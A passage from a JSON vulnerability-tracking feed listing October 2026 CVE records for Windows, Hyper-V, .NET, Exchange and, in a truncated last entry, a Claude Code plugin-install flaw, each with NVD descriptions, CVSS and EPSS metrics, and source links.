locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:23.587Z","updatedAt":"2026-10-13T21:19:38.743Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87706","asOf":"2026-10-13T21:19:38.743Z"},"epss":{"probability":0.00245,"percentile":0.15628,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87706&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87706","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87706","type":"primary","publishedAt":"2026-10-13T19:21:23.587Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87706&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87706, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87705","cveId":"CVE-2026-87705","aliases":[],"kind":"vulnerability","title":"Improper verification of source of a communication channel in Windows Hyper-V allows an unauthorized attacker to bypass a security feature over an adjacent network.","summary":"Improper verification of source of a communication channel in Windows Hyper-V allows an unauthorized attacker to bypass a security feature over an adjacent network.","detail":"Improper verification of source of a communication channel in Windows Hyper-V allows an unauthorized attacker to bypass a security feature over an adjacent network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:23.403Z","updatedAt":"2026-10-16T16:22:24.757Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Hyper-V"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87705","asOf":"2026-10-16T16:22:24.757Z"},"epss":{"probability":0.00441,"percentile":0.38057,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87705&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87705","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87705","type":"primary","publishedAt":"2026-10-13T19:21:23.403Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87705&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87705, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87704","cveId":"CVE-2026-87704","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:23.227Z","updatedAt":"2026-10-16T16:22:24.530Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87704","asOf":"2026-10-16T16:22:24.530Z"},"epss":{"probability":0.00258,"percentile":0.17253,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87704&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87704","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87704","type":"primary","publishedAt":"2026-10-13T19:21:23.227Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87704&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87704, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87702","cveId":"CVE-2026-87702","aliases":[],"kind":"vulnerability","title":"Integer overflow or wraparound in Windows Resource Management (MRM) allows an authorized attacker to elevate privileges locally.","summary":"Integer overflow or wraparound in Windows Resource Management (MRM) allows an authorized attacker to elevate privileges locally.","detail":"Integer overflow or wraparound in Windows Resource Management (MRM) allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:23.047Z","updatedAt":"2026-10-16T16:22:24.310Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87702","asOf":"2026-10-16T16:22:24.310Z"},"epss":{"probability":0.00361,"percentile":0.29676,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87702&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87702","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87702","type":"primary","publishedAt":"2026-10-13T19:21:23.047Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87702&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87702, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87700","cveId":"CVE-2026-87700","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:22.870Z","updatedAt":"2026-10-16T16:22:24.093Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87700","asOf":"2026-10-16T16:22:24.093Z"},"epss":{"probability":0.0031,"percentile":0.23623,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87700&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87700","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87700","type":"primary","publishedAt":"2026-10-13T19:21:22.870Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87700&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87700, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87699","cveId":"CVE-2026-87699","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Winlogon allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Winlogon allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Winlogon allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:22.693Z","updatedAt":"2026-10-16T16:22:23.870Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87699","asOf":"2026-10-16T16:22:23.870Z"},"epss":{"probability":0.00361,"percentile":0.29679,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87699&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87699","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87699","type":"primary","publishedAt":"2026-10-13T19:21:22.693Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87699&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87699, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87697","cveId":"CVE-2026-87697","aliases":[],"kind":"vulnerability","title":"Deserialization of untrusted data in .NET allows an unauthorized attacker to execute code over a network.","summary":"Deserialization of untrusted data in .NET allows an unauthorized attacker to execute code over a network.","detail":"Deserialization of untrusted data in .NET allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:22.400Z","updatedAt":"2026-10-22T22:19:39.090Z","regions":["Global"],"vendor":null,"product":null,"stacks":[".NET"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87697","asOf":"2026-10-22T22:19:39.090Z"},"epss":{"probability":0.00843,"percentile":0.5768,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87697&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87697","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87697","type":"primary","publishedAt":"2026-10-13T19:21:22.400Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87697&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87697, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87696","cveId":"CVE-2026-87696","aliases":[],"kind":"vulnerability","title":"Improper verification of cryptographic signature in Microsoft Exchange Server allows an authorized attacker to elevate privileges over a network.","summary":"Improper verification of cryptographic signature in Microsoft Exchange Server allows an authorized attacker to elevate privileges over a network.","detail":"Improper verification of cryptographic signature in Microsoft Exchange Server allows an authorized attacker to elevate privileges over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:22.273Z","updatedAt":"2026-10-14T04:18:52.363Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Exchange"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87696","asOf":"2026-10-14T04:18:52.363Z"},"epss":{"probability":0.00429,"percentile":0.36874,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87696&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87696","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87696","type":"primary","publishedAt":"2026-10-13T19:21:22.273Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87696&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87696, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87695","cveId":"CVE-2026-87695","aliases":[],"kind":"vulnerability","title":"Inclusion of functionality from untrusted control sphere in Microsoft Exchange Server allows an authorized attacker to elevate privileges locally.","summary":"Inclusion of functionality from untrusted control sphere in Microsoft Exchange Server allows an authorized attacker to elevate privileges locally.","detail":"Inclusion of functionality from untrusted control sphere in Microsoft Exchange Server allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:22.153Z","updatedAt":"2026-10-14T04:18:52.240Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Exchange"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87695","asOf":"2026-10-14T04:18:52.240Z"},"epss":{"probability":0.00299,"percentile":0.22343,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87695&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87695","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87695","type":"primary","publishedAt":"2026-10-13T19:21:22.153Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87695&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87695, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87694","cveId":"CVE-2026-87694","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:21.980Z","updatedAt":"2026-10-16T16:22:22.077Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87694","asOf":"2026-10-16T16:22:22.077Z"},"epss":{"probability":0.00361,"percentile":0.29678,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87694&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87694","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87694","type":"primary","publishedAt":"2026-10-13T19:21:21.980Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87694&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87694, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87693","cveId":"CVE-2026-87693","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:21.803Z","updatedAt":"2026-10-16T16:22:21.860Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87693","asOf":"2026-10-16T16:22:21.860Z"},"epss":{"probability":0.00258,"percentile":0.17255,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87693&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87693","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87693","type":"primary","publishedAt":"2026-10-13T19:21:21.803Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87693&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87693, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87692","cveId":"CVE-2026-87692","aliases":[],"kind":"vulnerability","title":"Deserialization of untrusted data in Microsoft Exchange Server allows an authorized attacker to elevate privileges locally.","summary":"Deserialization of untrusted data in Microsoft Exchange Server allows an authorized attacker to elevate privileges locally.","detail":"Deserialization of untrusted data in Microsoft Exchange Server allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:21.683Z","updatedAt":"2026-10-13T21:19:36.963Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Exchange"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87692","asOf":"2026-10-13T21:19:36.963Z"},"epss":{"probability":0.01683,"percentile":0.76806,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87692&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87692","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87692","type":"primary","publishedAt":"2026-10-13T19:21:21.683Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87692&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87692, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87691","cveId":"CVE-2026-87691","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Management Services allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Management Services allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Management Services allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:21.553Z","updatedAt":"2026-10-13T21:19:36.843Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87691","asOf":"2026-10-13T21:19:36.843Z"},"epss":{"probability":0.00245,"percentile":0.15628,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87691&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87691","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87691","type":"primary","publishedAt":"2026-10-13T19:21:21.553Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87691&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87691, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-86063","cveId":"CVE-2026-86063","aliases":[],"kind":"vulnerability","title":"Claude Code is an agentic coding tool.","summary":"Claude Code is an agentic coding tool. Prior to 2.1.179, the Claude Code and Claude Desktop plugin installation flow runs git checkout for a marketplace-pinned commit without verifying that the resulting HEAD equals the pinned 40-character SHA. An attacker who controls a plugin repository on a Git host that permits SHA-shaped branch names can create a branch 